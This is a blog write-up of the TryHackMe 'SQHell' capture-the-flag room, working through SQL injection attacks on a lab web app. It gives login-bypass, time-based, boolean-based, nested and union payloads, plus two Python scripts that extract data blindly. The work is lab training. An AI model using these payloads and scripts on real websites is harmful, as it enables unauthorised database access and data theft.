siunam's Website

My personal website

Home Writeups Blog Projects About E-Portfolio

SQHell | Oct 1, 2022

Introduction:

Welcome to my another writeup! In this TryHackMe SQHell room, you’ll learn: time-based, boolean-based and union-based SQL injection, SQL inception, authentication bypass! Without further ado, let’s dive in.

Try and find all the flags in the SQL Injections

Difficulty: Medium

Give the machine a minute to boot and then connect to http://<MACHINE_IP>

There are 5 flags to find but you have to defeat the different SQL injection types.

**Hint:** Unless displayed on the page the flags are stored in the flag table in the flag column.

Service Enumeration

As usual, scan the machine for open ports via rustscan!

Rustscan:

┌──(root🌸siunam)-[~/ctf/thm/ctf/SQHell]
└─# export RHOSTS=10.10.166.35   
                                                                                                 
┌──(root🌸siunam)-[~/ctf/thm/ctf/SQHell]
└─# rustscan --ulimit 5000 -t 2000 --range=1-65535 $RHOSTS -- -sC -sV -oN rustscan/rustscan.txt
[...]
PORT   STATE SERVICE REASON         VERSION
22/tcp open  ssh     syn-ack ttl 63 OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 9b:64:85:9f:5d:fe:03:17:ce:0c:2c:f7:40:36:f8:5a (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDJqubhEQnh/K5r1UDMG/hwEy260J6btkHfs/PIFTIMp/BdPfNCo/ymq33em4Apy+JVCWdz8p3fxlNwscvdOdDLoFNNBU2mC0n4QC++bjy3zoUgJRjiiQfj3HDM7a/DKaOKTB5R4qfnCvc0+sKzviQhs9VBryjvFO3THwXFfGVRCIT7yA0xAJniSt4kUPyJ4nUVV7dbXsH9Gt3hGR3p5JIXBRmfPR5tN8PK1k3EByAwMb/Ia4vTkp3S4Xha8p89Ys1WewKZhK2yX+h8sG2PHVbdO+T9UnIsVZju3O4CabodElPrgTUsWQ4TD+w9qSG8BjJfxnyR3xUMKHQYtnvoR8As/EDgdEuXzFcPNUMaXE5cvyUo+e5x73taYH/peAsBBnCJyyQ+lA8CBkSD2zpCl0tP24aAVhwXhlW8Ibc7qkhDojPmxHOqGXoCgGDbP6jpXitbPD8EP84YxoNcZ8q1M3Mly+3C6P+rA1Hcn/o+PEF8Hdo+j+JKkOpnCpPKpR6gckU=
|   256 ee:e9:1d:f3:16:c0:d2:13:18:93:17:d2:55:21:e9:87 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBCNFFaz44hB4+wfrpBoIlekGIbAxDXdUqobjId5S8SGWcJmp6+WMjI8RUPU4tMk85m+KX2ewdJ5vNGVcOpMTWL8=
|   256 f1:c2:74:86:0d:ca:82:d0:fc:0a:cd:e5:a1:31:74:b1 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIEWxhSrGLGLvDvfwzlJA4CFUeUw0xdJiGaxejdT1NppR
80/tcp open  http    syn-ack ttl 63 nginx 1.18.0 (Ubuntu)
|_http-title: Home
| http-methods: 
|_  Supported Methods: GET HEAD POST
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

According to rustscan result, we have 2 ports are opened:

Open Ports Service
22 OpenSSH 8.2p1 Ubuntu
80 nginx 1.18.0 (Ubuntu)

HTTP on Port 80

Flag 1 - Authentication Bypass

In the home page, we can see that there is a login page:

Now, we can try to do authentication bypass via SQL injection. Simply type ' OR 1=1-- - and type any password to bypass it.

Now, this SQL statement will become:

SELECT username, password FROM user_table WHERE username=''' OR 1=1-- - AND password=123;

Let’s break it down:

We bypassed the login page!!

Flag 2 - Time-Based SQL Injection

In the Terms and Conditions page, we can see that the web server will log our IP address.

A common way to log a client IP is to adding a HTTP header to the web request, such as:

In this example, it may vulnerable to time-based SQL injection!

I’ll use a time-based SQL injection payload from payloadbox:

┌──(root🌸siunam)-[~/ctf/thm/ctf/SQHell]
└─# curl -vv -H "X-Forwarded-For: 127.0.0.1' AND (SELECT * FROM (SELECT(SLEEP(5)))bAKL)-- -" http://$RHOSTS/terms-and-conditions

This payload indeed slept for 5 seconds!

Now, we need to find the database name, table names and column names. Also, according to HackTricks about time-based SQL injection, we can use the following payload to extract table’s data:

1 and (select sleep(10) from users where SUBSTR(table_name,1,1) = 'A')#

What this payload do is:

To do so, I’ll:

After some guessing, I found that there is a database called flag, and table name called flag:

┌──(root🌸siunam)-[~/ctf/thm/ctf/SQHell]
└─# curl -vv -H "X-Forwarded-For: 127.0.0.1' and (select sleep(5) from flag where SUBSTR(flag,1,1) = 'T')--

This payload indeed slept for 5 seconds, and the first character of the flag table is T.

Since we know TryHackMe’s flag format is: THM{...}, we can automate this process via a simple python script:

#!/usr/bin/env python3

import requests
import string
import time
import argparse

parser = argparse.ArgumentParser(description='A simple python script to automate time-based SQL injection for TryHackMe\'s SQHell room, Flag 2.')
parser.add_argument('-i', '--ip', help='The target IP or domain')
args = parser.parse_args()

url = f'http://{args.ip}/terms-and-conditions'
# From A-Z, 0-9, {}:
char = string.ascii_uppercase + string.digits + '{' + '}' + ':'
flag = ''
counter = 1

while True:
	for characters in char:
		header = {'X-Forwarded-For': f"'and (select sleep(3) from flag where SUBSTR(flag,{counter},1) = '{characters}')-- -"}

		start_time = int(time.time())
		requests.get(url, headers=header)
		end_time = int(time.time())

		if end_time - start_time >= 3:
			counter += 1
			flag += ''.join(characters)

			# Clean previous line
			print('\r', end='')
			print(f'Flag2 is: {flag}', end='')
			break

	if len(flag) >= 43:
		exit()

Output:

┌──(root🌸siunam)-[~/ctf/thm/ctf/SQHell]
└─# export RHOSTS=10.10.229.24
                                                                                                           
┌──(root🌸siunam)-[~/ctf/thm/ctf/SQHell]
└─# python3 time-based-sqli.py -h
usage: time-based-sqli.py [-h] [-i IP]

A simple python script to automate time-based SQL injection for TryHackMe's SQHell room, Flag 2.

options:
  -h, --help      show this help message and exit
  -i IP, --ip IP  The target IP or domain
                                                                                                           
┌──(root🌸siunam)-[~/ctf/thm/ctf/SQHell]
└─# python3 time-based-sqli.py -i $RHOSTS
[+] Flag2 is: THM{FLAG2:Redacted}

We found the flag!!

Flag 3 - Boolean-Based SQL Injection

In the register page, there is a javascript function that checking the username is available or not:

View-Source:

<script>
    $('input[name="username"]').keyup(function(){
        $('.userstatus').html('');
        let username = $(this).val();
        $.getJSON('/register/user-check?username='+ username,function(resp){
            if( resp.available ){
                $('.userstatus').css('color','#80c13d');
                $('.userstatus').html('Username available');
            }else{
                $('.userstatus').css('color','#F00');
                $('.userstatus').html('Username already taken');
            }
        });
    });
</script>

Let’s break down this javascript:

Then, we can go to that page to see what is it:

┌──(root🌸siunam)-[~/ctf/thm/ctf/SQHell]
└─# curl http://$RHOSTS/register/user-check?username=fake_user   
{"available":true} 

┌──(root🌸siunam)-[~/ctf/thm/ctf/SQHell]
└─# curl http://$RHOSTS/register/user-check?username=admin    
{"available":false}

Hmm… It seems like it’s a boolean-based SQL injection.

What this payload does is:

Now, we can use the previous substr techique again. But, instead of sleeping for a certain seconds, we’ll look for the False boolean value.

admin' AND (substr((SELECT flag FROM flag LIMIT 0,1),1,1)) = 'T'-- -

What this does is:

Now, we can again write a simple python script to automate this process!

#!/usr/bin/env python3

import requests
import string
import argparse

parser = argparse.ArgumentParser(description='A simple python script to automate boolean-based SQL injection for TryHackMe\'s SQHell room, Flag 3.')
parser.add_argument('-i', '--ip', help='The target IP or domain')
args = parser.parse_args()

# From A-Z, 0-9, {}:
char = string.ascii_uppercase + string.digits + '{' + '}' + ':'
flag = ''
counter = 1

while True:
	for characters in char:
		url = f"http://{args.ip}/register/user-check?username=admin' AND (substr((SELECT flag FROM flag LIMIT 0,1),{counter},1)) = '{characters}'-- -"
		r = requests.get(url)

		# If the GET request content contains 'false', then do:
		if 'false' in r.text:
			counter += 1
			flag += ''.join(characters)
			
			# Clear previous line
			print('\r', end='')
			print(f'[+] Flag3 is: {flag}', end='')
			break

	if len(flag) >= 43:
		exit()

Output:

┌──(root🌸siunam)-[~/ctf/thm/ctf/SQHell]
└─# export RHOSTS=10.10.229.24
                                                                                                           
┌──(root🌸siunam)-[~/ctf/thm/ctf/SQHell]
└─# python3 boolean-based-sqli.py -h                     
usage: boolean-based-sqli.py [-h] [-i IP]

A simple python script to automate boolean-based SQL injection for TryHackMe's SQHell room, Flag 3.

options:
  -h, --help      show this help message and exit
  -i IP, --ip IP  The target IP or domain
                                                                                                           
┌──(root🌸siunam)-[~/ctf/thm/ctf/SQHell]
└─# python3 boolean-based-sqli.py -i $RHOSTS
[+] Flag3 is: THM{FLAG3:Redacted}

Nice! We found the flag!

Flag 4 - SQL Inception

In the home page, we can also see that there is an admin user:

The GET parameter id, may vulnerable to SQL injection!!

When we typed id=0, it shows that the SQL query can’t fetch user id 0, as this user id doesn’t exist:

However, when I type 0 ' OR 1=1-- -

It returns user id 1 details! Which means it’s vulnerable to SQL injection!!

Let’s test for UNION based SQL injection:

We can see that the Posts doesn’t have value 3.

According to pentestmonkey MySQL injection cheat sheet, we can enumerate the entire database.

First, we can enumerate it’s version:

0 UNION ALL SELECT version(),NULL,NULL-- -

Next, we can find the current database name:

0 UNION ALL SELECT concat(schema_name),NULL,NULL FROM information_schema.schemata-- -

In here, I found something weird, the output only shows database information_schema.

And I was stuck at here for a long time. Then I checked the hint:

Well, dreams, they feel real while we’re in them right?

This quote is refering a movie called Inception from 2010.

Next, based on this information, I searched for SQL inception, and this blog comes up.

SQL inception occurs when you the access the same database within itself in order to achieve the correct output.

I also notice the posts is weird:

0 UNION ALL SELECT 1,2,3 FROM information_schema.tables WHERE table_schema=database()-- -

0 UNION ALL SELECT 2,2,3 FROM information_schema.tables WHERE table_schema=database()-- -

When the first payload ran, the posts section had 2 posts listed. However, the second payload didn’t had any post.

This is because the first payload has matched the user id 1, and the second payload is user id 2, which is not exist.

Now, let’s combine withthe idea of SQL inception:

0 UNION ALL SELECT "1 UNION SELECT 1,flag,4,5 from flag-- -",2,3 FROM information_schema.tables WHERE table_schema=database()-- -

We found the flag!

Flag 5 - Union-Based SQL Injection

In the home page, the Read More page looks like is vulnerable to SQL injection!

Let’s test for Union-based SQL injection!

0 UNION ALL SELECT 1,2,3,4-- -

It’s vulnerable to Union-based SQL injection! Let’s do enumeration!

Enumerating current database name:

0 UNION ALL SELECT NULL,database(),NULL,NULL-- -

Flag 5:

0 UNION ALL SELECT NULL,flag,NULL,NULL FROM flag-- -

That’s it! We found the final flag!

Conclusion

What we’ve learned:

  1. Authentication Bypass via SQL Injection
  2. Time-Based SQL Injection
  3. Boolean-Based SQL Injection
  4. SQL Inception
  5. Union-Based SQL Injection